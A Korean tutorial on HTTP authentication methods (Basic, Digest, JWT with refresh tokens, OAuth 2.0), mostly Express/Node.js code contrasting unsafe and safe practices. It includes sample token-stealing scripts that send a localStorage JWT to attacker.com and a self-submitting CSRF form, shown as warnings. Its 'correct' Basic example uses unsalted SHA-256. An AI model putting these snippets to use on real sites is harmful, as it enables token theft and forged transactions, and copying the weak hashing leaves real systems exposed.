HTTP 인증 방법 완벽 가이드

// ❌ 절대 이렇게 하면 안 됩니다!
fetch('http://api.example.com/login', {
  method: 'POST',
  body: JSON.stringify({
    username: 'user',
    password: 'mypassword123'  // 평문으로 전송!
  })
});

// 사용자가 정말로 본인이 맞는지 확인
if (username === 'alice' && password === 'correct') {
  console.log('인증 성공');
}

// 인증된 사용자가 특정 리소스에 접근할 권한이 있는지 확인
if (user.role === 'admin') {
  console.log('관리자 페이지 접근 허용');
}

// ✅ 올바른 Basic 인증 구현
const express = require('express');
const crypto = require('crypto');

const app = express();

// 사용자 데이터베이스 (실제로는 DB 사용)
const users = {
  admin: {
    // 비밀번호를 해시로 저장 (절대 평문 저장 금지!)
    passwordHash: crypto.createHash('sha256')
      .update('password123')
      .digest('hex'),
    role: 'admin'
  }
};

// Basic 인증 미들웨어
function basicAuth(req, res, next) {
  const authHeader = req.headers.authorization;

  if (!authHeader || !authHeader.startsWith('Basic ')) {
    res.setHeader('WWW-Authenticate', 'Basic realm="API"');
    return res.status(401).json({ error: '인증이 필요합니다' });
  }

  // "Basic " 제거하고 Base64 디코딩
  const base64Credentials = authHeader.split(' ')[1];
  const credentials = Buffer.from(base64Credentials, 'base64')
    .toString('utf-8');
  const [username, password] = credentials.split(':');

  // 사용자 확인
  const user = users[username];
  if (!user) {
    return res.status(401).json({ error: '잘못된 자격 증명' });
  }

  // 비밀번호 확인 (해시 비교)
  const passwordHash = crypto.createHash('sha256')
    .update(password)
    .digest('hex');

  if (passwordHash !== user.passwordHash) {
    return res.status(401).json({ error: '잘못된 자격 증명' });
  }

  // 인증 성공 - 사용자 정보를 request에 추가
  req.user = { username, role: user.role };
  next();
}

// 보호된 엔드포인트
app.get('/api/users', basicAuth, (req, res) => {
  res.json({
    message: `안녕하세요, ${req.user.username}님!`,
    users: ['Alice', 'Bob', 'Charlie']
  });
});

app.listen(3000, () => {
  console.log('서버가 3000 포트에서 실행 중');
});

// ✅ 올바른 방법: HTTPS + Base64 인코딩
async function fetchWithBasicAuth(url, username, password) {
  // Base64 인코딩
  const credentials = btoa(`${username}:${password}`);

  try {
    const response = await fetch(url, {
      method: 'GET',
      headers: {
        'Authorization': `Basic ${credentials}`,
        'Content-Type': 'application/json'
      }
    });

    if (!response.ok) {
      if (response.status === 401) {
        throw new Error('인증 실패: 사용자명 또는 비밀번호를 확인하세요');
      }
      throw new Error(`HTTP error! status: ${response.status}`);
    }

    const data = await response.json();
    return data;
  } catch (error) {
    console.error('API 호출 실패:', error);
    throw error;
  }
}

// 사용 예시
fetchWithBasicAuth(
  'https://api.example.com/users',
  'admin',
  'password123'
).then(data => {
  console.log('사용자 목록:', data);
}).catch(error => {
  console.error('오류:', error.message);
});

// 위험! 평문으로 전송됨
fetch('http://api.example.com/login', {  // http:// 주목!
  headers: {
    'Authorization': 'Basic YWRtaW46cGFzc3dvcmQxMjM='
  }
});

// 문제:
// - Base64는 암호화가 아니라 인코딩입니다
// - 누구나 디코딩 가능: atob('YWRtaW46cGFzc3dvcmQxMjM=')
// - 네트워크 패킷을 가로채면 비밀번호가 그대로 노출됩니다

// 안전: SSL/TLS로 암호화됨
fetch('https://api.example.com/login', {  // https:// 사용!
  headers: {
    'Authorization': 'Basic YWRtaW46cGFzc3dvcmQxMjM='
  }
});

// 서버 코드 - 절대 이렇게 하면 안 됨!
const users = {
  admin: {
    password: 'password123'  // 평문 저장!
  }
};

function authenticate(username, password) {
  return users[username]?.password === password;
}

const bcrypt = require('bcrypt');

// 회원가입 시 비밀번호 해시
async function registerUser(username, password) {
  const saltRounds = 10;
  const passwordHash = await bcrypt.hash(password, saltRounds);

  users[username] = { passwordHash };
}

// 로그인 시 검증
async function authenticate(username, password) {
  const user = users[username];
  if (!user) return false;

  return await bcrypt.compare(password, user.passwordHash);
}

const jwt = require('jsonwebtoken');
const express = require('express');
const bcrypt = require('bcrypt');

const app = express();
app.use(express.json());

// 비밀 키 (환경 변수로 관리해야 함!)
const JWT_SECRET = process.env.JWT_SECRET || 'your-secret-key-change-this';

// 사용자 데이터베이스
const users = {
  alice: {
    passwordHash: '$2b$10$...',  // bcrypt 해시
    role: 'admin'
  }
};

// 1️⃣ 로그인 엔드포인트 - JWT 발급
app.post('/api/login', async (req, res) => {
  const { username, password } = req.body;

  // 사용자 확인
  const user = users[username];
  if (!user) {
    return res.status(401).json({ error: '잘못된 자격 증명' });
  }

  // 비밀번호 확인
  const isValid = await bcrypt.compare(password, user.passwordHash);
  if (!isValid) {
    return res.status(401).json({ error: '잘못된 자격 증명' });
  }

  // ✅ JWT 생성
  const token = jwt.sign(
    {
      sub: username,           // Subject
      role: user.role,         // 권한 정보
      iat: Math.floor(Date.now() / 1000)  // 발급 시간
    },
    JWT_SECRET,
    {
      expiresIn: '1h'  // 1시간 후 만료
    }
  );

  res.json({
    message: '로그인 성공',
    token: token,
    expiresIn: 3600  // 초 단위
  });
});

// 2️⃣ JWT 검증 미들웨어
function authenticateToken(req, res, next) {
  const authHeader = req.headers.authorization;
  const token = authHeader && authHeader.split(' ')[1];  // "Bearer TOKEN"

  if (!token) {
    return res.status(401).json({ error: '토큰이 필요합니다' });
  }

  try {
    // ✅ JWT 검증
    const decoded = jwt.verify(token, JWT_SECRET);
    req.user = decoded;  // { sub: 'alice', role: 'admin', iat: ..., exp: ... }
    next();
  } catch (error) {
    if (error.name === 'TokenExpiredError') {
      return res.status(401).json({ error: '토큰이 만료되었습니다' });
    }
    if (error.name === 'JsonWebTokenError') {
      return res.status(403).json({ error: '유효하지 않은 토큰입니다' });
    }
    return res.status(500).json({ error: '서버 오류' });
  }
}

// 3️⃣ 보호된 엔드포인트
app.get('/api/profile', authenticateToken, (req, res) => {
  res.json({
    username: req.user.sub,
    role: req.user.role,
    message: '인증된 사용자만 볼 수 있는 데이터'
  });
});

// 4️⃣ 관리자 전용 엔드포인트
app.get('/api/admin', authenticateToken, (req, res) => {
  // 권한 확인
  if (req.user.role !== 'admin') {
    return res.status(403).json({ error: '관리자 권한이 필요합니다' });
  }

  res.json({
    message: '관리자 전용 데이터',
    users: Object.keys(users)
  });
});

app.listen(3000);

// 서버 코드: Access Token + Refresh Token
const jwt = require('jsonwebtoken');
const express = require('express');

const app = express();
app.use(express.json());

const ACCESS_TOKEN_SECRET = 'access-secret';
const REFRESH_TOKEN_SECRET = 'refresh-secret';

// Refresh 토큰 저장소 (실제로는 Redis 사용 권장)
const refreshTokens = new Set();

// 로그인: Access Token + Refresh Token 발급
app.post('/api/login', async (req, res) => {
  // 인증 로직... (생략)

  const user = { sub: 'alice', role: 'admin' };

  // Access Token: 짧은 유효 기간 (15분)
  const accessToken = jwt.sign(user, ACCESS_TOKEN_SECRET, {
    expiresIn: '15m'
  });

  // Refresh Token: 긴 유효 기간 (7일)
  const refreshToken = jwt.sign(user, REFRESH_TOKEN_SECRET, {
    expiresIn: '7d'
  });

  // Refresh Token 저장
  refreshTokens.add(refreshToken);

  res.json({
    accessToken,
    refreshToken,
    expiresIn: 900  // 15분
  });
});

// Access Token 갱신
app.post('/api/refresh', (req, res) => {
  const { refreshToken } = req.body;

  if (!refreshToken) {
    return res.status(401).json({ error: 'Refresh token이 필요합니다' });
  }

  if (!refreshTokens.has(refreshToken)) {
    return res.status(403).json({ error: '유효하지 않은 refresh token' });
  }

  try {
    const user = jwt.verify(refreshToken, REFRESH_TOKEN_SECRET);

    // 새로운 Access Token 발급
    const newAccessToken = jwt.sign(
      { sub: user.sub, role: user.role },
      ACCESS_TOKEN_SECRET,
      { expiresIn: '15m' }
    );

    res.json({
      accessToken: newAccessToken,
      expiresIn: 900
    });
  } catch (error) {
    return res.status(403).json({ error: 'Refresh token이 만료되었습니다' });
  }
});

// 로그아웃: Refresh Token 제거
app.post('/api/logout', (req, res) => {
  const { refreshToken } = req.body;
  refreshTokens.delete(refreshToken);
  res.json({ message: '로그아웃 성공' });
});

// 클라이언트 코드: 자동 토큰 갱신
class AuthClient {
  constructor() {
    this.accessToken = null;
    this.refreshToken = null;
    this.isRefreshing = false;
    this.refreshSubscribers = [];
  }

  async login(username, password) {
    const response = await fetch('/api/login', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ username, password })
    });

    const data = await response.json();
    this.accessToken = data.accessToken;
    this.refreshToken = data.refreshToken;

    // localStorage에도 저장 (보안 주의!)
    localStorage.setItem('refreshToken', data.refreshToken);
  }

  async refreshAccessToken() {
    if (this.isRefreshing) {
      // 이미 갱신 중이면 대기
      return new Promise((resolve) => {
        this.refreshSubscribers.push(resolve);
      });
    }

    this.isRefreshing = true;

    try {
      const response = await fetch('/api/refresh', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          refreshToken: this.refreshToken
        })
      });

      if (!response.ok) {
        throw new Error('Token refresh failed');
      }

      const data = await response.json();
      this.accessToken = data.accessToken;

      // 대기 중인 요청들 처리
      this.refreshSubscribers.forEach(callback => callback(this.accessToken));
      this.refreshSubscribers = [];

      return this.accessToken;
    } finally {
      this.isRefreshing = false;
    }
  }

  async fetch(url, options = {}) {
    let response = await fetch(url, {
      ...options,
      headers: {
        ...options.headers,
        'Authorization': `Bearer ${this.accessToken}`
      }
    });

    // 401 에러 → Access Token 만료
    if (response.status === 401) {
      // Access Token 갱신 시도
      await this.refreshAccessToken();

      // 원래 요청 재시도
      response = await fetch(url, {
        ...options,
        headers: {
          ...options.headers,
          'Authorization': `Bearer ${this.accessToken}`
        }
      });
    }

    return response;
  }
}

// 사용 예시
const authClient = new AuthClient();

// 로그인
await authClient.login('alice', 'password');

// API 호출 (자동으로 토큰 갱신됨)
const data = await authClient.fetch('/api/profile').then(r => r.json());

// XSS 공격에 취약!
localStorage.setItem('jwt', token);

// 악의적인 스크립트가 토큰을 탈취할 수 있음
const stolenToken = localStorage.getItem('jwt');
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: stolenToken
});

// 서버 코드
app.post('/api/login', async (req, res) => {
  // 인증 로직...

  const token = jwt.sign(userData, JWT_SECRET, { expiresIn: '1h' });

  // ✅ httpOnly 쿠키로 전송
  res.cookie('token', token, {
    httpOnly: true,    // JavaScript로 접근 불가
    secure: true,      // HTTPS에서만 전송
    sameSite: 'strict', // CSRF 방어
    maxAge: 3600000    // 1시간
  });

  res.json({ message: '로그인 성공' });
});

// 클라이언트는 쿠키를 자동으로 전송
fetch('/api/profile', {
  credentials: 'include'  // 쿠키 포함
});

// 절대 이렇게 하면 안 됨!
const token = jwt.sign({
  username: 'alice',
  password: 'secret123',     // ❌ 비밀번호 포함
  ssn: '123-45-6789',        // ❌ 주민번호 포함
  creditCard: '1234-5678'    // ❌ 신용카드 포함
}, JWT_SECRET);

// JWT는 디코딩 가능! 누구나 볼 수 있습니다
const payload = JSON.parse(atob(token.split('.')[1]));
console.log(payload.password);  // 'secret123' 노출!

// ✅ 사용자 식별자와 권한 정보만
const token = jwt.sign({
  sub: 'user-id-12345',      // 사용자 ID (식별자)
  role: 'admin',             // 역할
  iat: Math.floor(Date.now() / 1000),  // 발급 시간
  exp: Math.floor(Date.now() / 1000) + 3600  // 만료 시간
}, JWT_SECRET);

// 필요한 추가 정보는 서버에서 조회
app.get('/api/profile', authenticateToken, async (req, res) => {
  // JWT에서 사용자 ID 추출
  const userId = req.user.sub;

  // 데이터베이스에서 상세 정보 조회
  const userProfile = await db.users.findById(userId);

  res.json(userProfile);
});

const crypto = require('crypto');
const express = require('express');

const app = express();

const users = {
  alice: {
    // Digest 인증에서는 HA1을 저장
    // HA1 = MD5(username:realm:password)
    ha1: crypto.createHash('md5')
      .update('alice:API:secret123')
      .digest('hex')
  }
};

// Nonce 생성 및 관리
const nonces = new Map();

function generateNonce() {
  const nonce = crypto.randomBytes(16).toString('hex');
  const timestamp = Date.now();
  nonces.set(nonce, timestamp);
  return nonce;
}

function validateNonce(nonce) {
  if (!nonces.has(nonce)) return false;

  const timestamp = nonces.get(nonce);
  const age = Date.now() - timestamp;

  // 5분 이상 된 nonce는 거부
  if (age > 5 * 60 * 1000) {
    nonces.delete(nonce);
    return false;
  }

  return true;
}

// Digest 인증 미들웨어
function digestAuth(req, res, next) {
  const authHeader = req.headers.authorization;

  if (!authHeader || !authHeader.startsWith('Digest ')) {
    const nonce = generateNonce();
    res.setHeader('WWW-Authenticate',
      `Digest realm="API", qop="auth", nonce="${nonce}"`
    );
    return res.status(401).json({ error: '인증이 필요합니다' });
  }

  // Digest 파라미터 파싱
  const params = {};
  authHeader.slice(7).split(',').forEach(part => {
    const [key, value] = part.trim().split('=');
    params[key] = value.replace(/"/g, '');
  });

  const { username, nonce, uri, response } = params;

  // Nonce 검증
  if (!validateNonce(nonce)) {
    return res.status(401).json({ error: 'Nonce가 유효하지 않습니다' });
  }

  // 사용자 확인
  const user = users[username];
  if (!user) {
    return res.status(401).json({ error: '잘못된 자격 증명' });
  }

  // HA2 계산: MD5(method:uri)
  const ha2 = crypto.createHash('md5')
    .update(`${req.method}:${uri}`)
    .digest('hex');

  // 예상 응답 계산: MD5(HA1:nonce:HA2)
  const expectedResponse = crypto.createHash('md5')
    .update(`${user.ha1}:${nonce}:${ha2}`)
    .digest('hex');

  // 응답 비교
  if (response !== expectedResponse) {
    return res.status(401).json({ error: '잘못된 자격 증명' });
  }

  // 인증 성공
  req.user = { username };

  // Nonce 사용 완료 (재사용 방지)
  nonces.delete(nonce);

  next();
}

app.get('/api/data', digestAuth, (req, res) => {
  res.json({
    message: `안녕하세요, ${req.user.username}님!`,
    data: ['item1', 'item2', 'item3']
  });
});

app.listen(3000);

// 서버 코드 (Node.js + Express)
const express = require('express');
const axios = require('axios');

const app = express();

// Google OAuth 설정 (Google Cloud Console에서 발급)
const GOOGLE_CLIENT_ID = 'your-client-id.apps.googleusercontent.com';
const GOOGLE_CLIENT_SECRET = 'your-client-secret';
const REDIRECT_URI = 'http://localhost:3000/auth/google/callback';

// 1️⃣ 로그인 시작: Google 인증 페이지로 리다이렉트
app.get('/auth/google', (req, res) => {
  const authUrl = 'https://accounts.google.com/o/oauth2/v2/auth';
  const params = new URLSearchParams({
    client_id: GOOGLE_CLIENT_ID,
    redirect_uri: REDIRECT_URI,
    response_type: 'code',
    scope: 'openid email profile',  // 요청할 권한
    access_type: 'offline',  // Refresh token 받기
    prompt: 'consent'
  });

  res.redirect(`${authUrl}?${params}`);
});

// 2️⃣ 콜백: 인증 코드를 받아서 토큰 교환
app.get('/auth/google/callback', async (req, res) => {
  const { code } = req.query;

  if (!code) {
    return res.status(400).send('인증 코드가 없습니다');
  }

  try {
    // 인증 코드로 토큰 교환
    const tokenResponse = await axios.post(
      'https://oauth2.googleapis.com/token',
      {
        code,
        client_id: GOOGLE_CLIENT_ID,
        client_secret: GOOGLE_CLIENT_SECRET,
        redirect_uri: REDIRECT_URI,
        grant_type: 'authorization_code'
      }
    );

    const {
      access_token,
      refresh_token,
      expires_in,
      id_token
    } = tokenResponse.data;

    // Access Token으로 사용자 정보 가져오기
    const userInfoResponse = await axios.get(
      'https://www.googleapis.com/oauth2/v2/userinfo',
      {
        headers: {
          Authorization: `Bearer ${access_token}`
        }
      }
    );

    const userInfo = userInfoResponse.data;

    // 사용자 정보를 DB에 저장하고 세션 생성
    // ... (생략)

    res.json({
      message: '로그인 성공',
      user: {
        id: userInfo.id,
        email: userInfo.email,
        name: userInfo.name,
        picture: userInfo.picture
      },
      access_token  // 프론트엔드에 전달
    });
  } catch (error) {
    console.error('OAuth 오류:', error.response?.data || error.message);
    res.status(500).send('인증 실패');
  }
});

// 3️⃣ 보호된 API: Access Token 필요
app.get('/api/profile', async (req, res) => {
  const authHeader = req.headers.authorization;
  const token = authHeader?.split(' ')[1];

  if (!token) {
    return res.status(401).json({ error: '토큰이 필요합니다' });
  }

  try {
    // Google API로 토큰 검증
    const response = await axios.get(
      'https://www.googleapis.com/oauth2/v2/userinfo',
      {
        headers: { Authorization: `Bearer ${token}` }
      }
    );

    res.json(response.data);
  } catch (error) {
    res.status(401).json({ error: '유효하지 않은 토큰' });
  }
});

app.listen(3000);

// 1. 인증 코드 요청
const authUrl = `https://provider.com/oauth/authorize?
  response_type=code&
  client_id=${CLIENT_ID}&
  redirect_uri=${REDIRECT_URI}&
  scope=read write&
  state=${randomState}`;  // CSRF 방지

// 2. 토큰 교환 (서버에서)
const tokenResponse = await axios.post('https://provider.com/oauth/token', {
  grant_type: 'authorization_code',
  code: authorizationCode,
  client_id: CLIENT_ID,
  client_secret: CLIENT_SECRET,  // 서버만 알고 있음
  redirect_uri: REDIRECT_URI
});

// Access Token을 URL fragment로 즉시 받음
const authUrl = `https://provider.com/oauth/authorize?
  response_type=token&  // 'code'가 아닌 'token'
  client_id=${CLIENT_ID}&
  redirect_uri=${REDIRECT_URI}&
  scope=read`;

// 콜백에서
const token = window.location.hash
  .substring(1)
  .split('&')
  .find(param => param.startsWith('access_token='))
  .split('=')[1];

// 서버가 직접 토큰 요청
const tokenResponse = await axios.post(
  'https://provider.com/oauth/token',
  {
    grant_type: 'client_credentials',
    client_id: CLIENT_ID,
    client_secret: CLIENT_SECRET,
    scope: 'api.read'
  }
);

const accessToken = tokenResponse.data.access_token;

// API 호출
const apiResponse = await axios.get('https://api.provider.com/data', {
  headers: { Authorization: `Bearer ${accessToken}` }
});

// 개발 환경 API 문서 보호
if (process.env.NODE_ENV === 'development') {
  app.use('/api-docs', basicAuth({
    users: { 'admin': 'dev-password' },
    challenge: true
  }), swaggerUi.serve);
}

// REST API
app.post('/api/posts', authenticateJWT, (req, res) => {
  const userId = req.user.sub;
  // 게시글 생성...
});

// 모바일 앱
const token = await AsyncStorage.getItem('jwt_token');
fetch('/api/profile', {
  headers: { Authorization: `Bearer ${token}` }
});

// 소셜 로그인
<button onClick={() => loginWith('google')}>
  Google로 로그인
</button>
<button onClick={() => loginWith('github')}>
  GitHub로 로그인
</button>

// 제3자 API 접근
// "이 앱이 내 Google Drive에 파일을 저장하도록 허용"

// ❌ 절대 이렇게 하면 안 됩니다!
// HTTP로 인증 정보 전송
fetch('http://api.example.com/login', {  // http://
  method: 'POST',
  body: JSON.stringify({
    username: 'alice',
    password: 'secret'
  })
});

// 문제:
// - 모든 데이터가 평문으로 전송됨
// - 중간자 공격(MITM)에 취약
// - 공용 WiFi에서 매우 위험

// ✅ 올바른 방법
fetch('https://api.example.com/login', {  // https://
  method: 'POST',
  body: JSON.stringify({
    username: 'alice',
    password: 'secret'
  })
});

// ❌ XSS 공격에 취약!
localStorage.setItem('token', jwt);

// 악의적인 스크립트가 주입되면
<script>
  // 토큰 탈취
  const token = localStorage.getItem('token');
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: token
  });
</script>

// ✅ 더 안전한 방법들

// 1. httpOnly 쿠키 (서버 코드)
res.cookie('token', jwt, {
  httpOnly: true,     // JavaScript 접근 불가
  secure: true,       // HTTPS만
  sameSite: 'strict'  // CSRF 방어
});

// 2. 메모리에만 저장 (새로고침 시 로그아웃)
let token = null;
function setToken(newToken) {
  token = newToken;
}

// 3. sessionStorage 사용 (탭 닫으면 삭제)
sessionStorage.setItem('token', jwt);

// ❌ 절대 이렇게 하면 안 됩니다!
// 토큰이 브라우저 히스토리, 서버 로그, 리퍼러에 기록됨
fetch(`https://api.example.com/data?token=${jwt}`);

// ✅ 올바른 방법: Authorization 헤더 사용
fetch('https://api.example.com/data', {
  headers: {
    'Authorization': `Bearer ${jwt}`
  }
});

// ❌ 절대로 하면 안 됩니다!
const users = {
  alice: { password: 'secret123' }
};

// ✅ bcrypt 사용
const bcrypt = require('bcrypt');

async function registerUser(username, password) {
  const saltRounds = 10;
  const hashedPassword = await bcrypt.hash(password, saltRounds);

  users[username] = { hashedPassword };
}

async function verifyPassword(username, password) {
  const user = users[username];
  return await bcrypt.compare(password, user.hashedPassword);
}

// ❌ CSRF 공격에 취약
// 쿠키로 인증하는 경우, 악의적인 사이트에서
<form action="https://yoursite.com/transfer" method="POST">
  <input name="to" value="attacker" />
  <input name="amount" value="1000" />
</form>
<script>document.forms[0].submit();</script>

// ✅ CSRF 토큰 사용
// 서버 코드
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/transfer', csrfProtection, (req, res) => {
  // CSRF 토큰이 검증된 후에만 실행됨
});

// HTML
<form method="POST" action="/transfer">
  <input type="hidden" name="_csrf" value="{{csrfToken}}">
  <input name="amount" />
  <button type="submit">전송</button>
</form>

// ❌ 토큰이 영원히 유효
const token = jwt.sign(userData, SECRET);

// ✅ 적절한 만료 시간 설정
const accessToken = jwt.sign(userData, SECRET, {
  expiresIn: '15m'  // Access Token: 15분
});

const refreshToken = jwt.sign(userData, REFRESH_SECRET, {
  expiresIn: '7d'   // Refresh Token: 7일
});

// ============================================
// 서버: auth.js
// ============================================
const express = require('express');
const bcrypt = require('bcrypt');
const jwt = require('jsonwebtoken');
const rateLimit = require('express-rate-limit');
const helmet = require('helmet');
const cors = require('cors');

const app = express();

// 보안 미들웨어
app.use(helmet());
app.use(cors({
  origin: process.env.CLIENT_URL,
  credentials: true
}));
app.use(express.json());

// Rate limiting
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15분
  max: 5,  // 최대 5회 시도
  message: '너무 많은 로그인 시도입니다. 나중에 다시 시도해주세요.'
});

// 환경 변수
const {
  JWT_ACCESS_SECRET,
  JWT_REFRESH_SECRET,
  NODE_ENV
} = process.env;

// 사용자 데이터베이스 (실제로는 PostgreSQL, MongoDB 등 사용)
const users = new Map();
const refreshTokens = new Set();

// 회원가입
app.post('/api/register', async (req, res) => {
  try {
    const { username, email, password } = req.body;

    // 입력 검증
    if (!username || !email || !password) {
      return res.status(400).json({
        error: '모든 필드를 입력해주세요'
      });
    }

    if (password.length < 8) {
      return res.status(400).json({
        error: '비밀번호는 8자 이상이어야 합니다'
      });
    }

    // 중복 확인
    if (users.has(username)) {
      return res.status(409).json({
        error: '이미 존재하는 사용자명입니다'
      });
    }

    // 비밀번호 해시
    const saltRounds = 12;
    const passwordHash = await bcrypt.hash(password, saltRounds);

    // 사용자 저장
    users.set(username, {
      username,
      email,
      passwordHash,
      createdAt: new Date(),
      role: 'user'
    });

    res.status(201).json({
      message: '회원가입 성공',
      username
    });
  } catch (error) {
    console.error('Register error:', error);
    res.status(500).json({
      error: '서버 오류가 발생했습니다'
    });
  }
});

// 로그인
app.post('/api/login', loginLimiter, async (req, res) => {
  try {
    const { username, password } = req.body;

    // 사용자 확인
    const user = users.get(username);
    if (!user) {
      return res.status(401).json({
        error: '사용자명 또는 비밀번호가 틀렸습니다'
      });
    }

    // 비밀번호 확인
    const isValid = await bcrypt.compare(password, user.passwordHash);
    if (!isValid) {
      return res.status(401).json({
        error: '사용자명 또는 비밀번호가 틀렸습니다'
      });
    }

    // Access Token 생성
    const accessToken = jwt.sign(
      {
        sub: username,
        role: user.role
      },
      JWT_ACCESS_SECRET,
      { expiresIn: '15m' }
    );

    // Refresh Token 생성
    const refreshToken = jwt.sign(
      { sub: username },
      JWT_REFRESH_SECRET,
      { expiresIn: '7d' }
    );

    refreshTokens.add(refreshToken);

    // httpOnly 쿠키로 Refresh Token 전송
    res.cookie('refreshToken', refreshToken, {
      httpOnly: true,
      secure: NODE_ENV === 'production',
      sameSite: 'strict',
      maxAge: 7 * 24 * 60 * 60 * 1000  // 7일
    });

    res.json({
      message: '로그인 성공',
      accessToken,
      expiresIn: 900,  // 15분
      user: {
        username: user.username,
        email: user.email,
        role: user.role
      }
    });
  } catch (error) {
    console.error('Login error:', error);
    res.status(500).json({
      error: '서버 오류가 발생했습니다'
    });
  }
});

// Access Token 갱신
app.post('/api/refresh', (req, res) => {
  const refreshToken = req.cookies.refreshToken;

  if (!refreshToken) {
    return res.status(401).json({
      error: 'Refresh token이 없습니다'
    });
  }

  if (!refreshTokens.has(refreshToken)) {
    return res.status(403).json({
      error: '유효하지 않은 refresh token입니다'
    });
  }

  try {
    const payload = jwt.verify(refreshToken, JWT_REFRESH_SECRET);

    // 새로운 Access Token 발급
    const accessToken = jwt.sign(
      {
        sub: payload.sub,
        role: users.get(payload.sub).role
      },
      JWT_ACCESS_SECRET,
      { expiresIn: '15m' }
    );

    res.json({
      accessToken,
      expiresIn: 900
    });
  } catch (error) {
    return res.status(403).json({
      error: 'Refresh token이 만료되었습니다'
    });
  }
});

// 로그아웃
app.post('/api/logout', (req, res) => {
  const refreshToken = req.cookies.refreshToken;

  if (refreshToken) {
    refreshTokens.delete(refreshToken);
  }

  res.clearCookie('refreshToken');
  res.json({ message: '로그아웃 성공' });
});

// JWT 검증 미들웨어
function authenticateToken(req, res, next) {
  const authHeader = req.headers.authorization;
  const token = authHeader?.split(' ')[1];

  if (!token) {
    return res.status(401).json({
      error: '인증 토큰이 필요합니다'
    });
  }

  try {
    const payload = jwt.verify(token, JWT_ACCESS_SECRET);
    req.user = payload;
    next();
  } catch (error) {
    if (error.name === 'TokenExpiredError') {
      return res.status(401).json({
        error: '토큰이 만료되었습니다',
        code: 'TOKEN_EXPIRED'
      });
    }
    return res.status(403).json({
      error: '유효하지 않은 토큰입니다'
    });
  }
}

// 권한 확인 미들웨어
function requireRole(...roles) {
  return (req, res, next) => {
    if (!roles.includes(req.user.role)) {
      return res.status(403).json({
        error: '권한이 없습니다'
      });
    }
    next();
  };
}

// 보호된 라우트
app.get('/api/profile', authenticateToken, (req, res) => {
  const user = users.get(req.user.sub);
  res.json({
    username: user.username,
    email: user.email,
    role: user.role,
    createdAt: user.createdAt
  });
});

// 관리자 전용 라우트
app.get('/api/admin/users',
  authenticateToken,
  requireRole('admin'),
  (req, res) => {
    const allUsers = Array.from(users.values()).map(u => ({
      username: u.username,
      email: u.email,
      role: u.role,
      createdAt: u.createdAt
    }));

    res.json({ users: allUsers });
  }
);

const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
  console.log(`서버가 포트 ${PORT}에서 실행 중`);
});